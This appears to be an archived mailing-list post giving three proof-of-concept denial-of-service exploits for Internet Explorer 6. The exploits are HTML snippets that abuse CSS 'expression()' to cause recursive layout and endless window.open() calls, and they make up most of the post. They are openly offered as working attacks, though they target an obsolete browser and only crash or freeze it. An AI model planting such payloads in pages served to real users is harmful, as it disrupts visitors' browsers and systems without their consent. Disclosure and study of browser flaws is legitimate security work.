Re: Internet Explorer 6 CSS "expression" Denial of Service Exploit (P.o.C.)

Note:
I'm sorry, two of the the exploits in the prior e-mail were incomplete.

This is just another couple of proof of concept exploits for this well-known browser. The third one is a lame combination of both.

Tested under Windows XP SP2, MSIE 6.0.2900.2180

Exploit 1
<div id="foo" style="height: 20px; border: 1px solid blue">
<table style="border: 1px solid red; width: expression(document.getElementById('foo').offsetWidth+'px');">
<tr><td></td></tr>
</table>
</div>


Exploit 2
<div style="width: expression(window.open(self.location));">
&nbsp;
</div>

Exploit 3
<html>
<head>
<title>Another non-standards compliant IE D.O.S.</title>
</head>
<body>
<div id="foo" style="height: 20px; border: 1px solid blue">
<table style="border: 1px solid red; width: expression(parseInt(window.open(self.location))+document.getElementById('foo').offsetWidth+'px');">
<tr>
<td>
IE makes my life harder :(. It sucks, don't use it :).
</td>
</tr>
</table>
</div>
Written by <a href="http://xiam.be";>xiam</a>.<br />
Tested under IE 6.0.2900.2180
</body>
</html>

--
La civilizaci~n no suprime la barbarie, la perfecciona. - Voltaire
- J. Carlos Nieto (xiam). http://xiam.be

Relevant Pages

  • Re: Suppress for form submission?
    ... incomplete, show the form again. ... up to the browser what to do with forms that have multiple submit ... clickable object to do the submit bit..? ...
    (comp.lang.php)
  • Re: Suppress for form submission?
    ... You have to validate your form data on the server anyway. ... incomplete, show the form again. ... up to the browser what to do with forms that have multiple submit ...
    (comp.lang.php)